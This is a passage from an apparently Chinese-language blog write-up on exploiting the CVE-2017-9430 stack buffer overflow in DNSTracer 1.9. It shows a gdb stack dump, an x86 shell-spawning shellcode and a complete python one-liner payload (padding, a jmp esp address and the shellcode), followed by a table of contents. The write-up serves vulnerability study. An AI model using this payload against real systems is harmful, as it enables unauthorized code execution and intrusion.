0024| 0xbfffec48 --> 0xcccccccc
0028| 0xbfffec4c --> 0x800cccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xbfffec30 in ?? ()

因为main的返回指令是ret,自己没有处理调用者传参的堆栈平衡,所以本次没有用于占位的0xcc字节。

编写Exp

找到一段弹shell的shellcode:

1
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

整段payload:

1
python -c 'print "A"*1053 + "\x85\x6a\xe1\xb7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

抛开gdb,运行程序:

文章目录
  1. 1. [CVE-2017-9430]DNSTracer 1.9栈溢出漏洞
    1. 1.1. 调研
    2. 1.2. 编译
    3. 1.3. 寻找ret addr的偏移
    4. 1.4. 寻找jmp esp
    5. 1.5. 编写Exp
,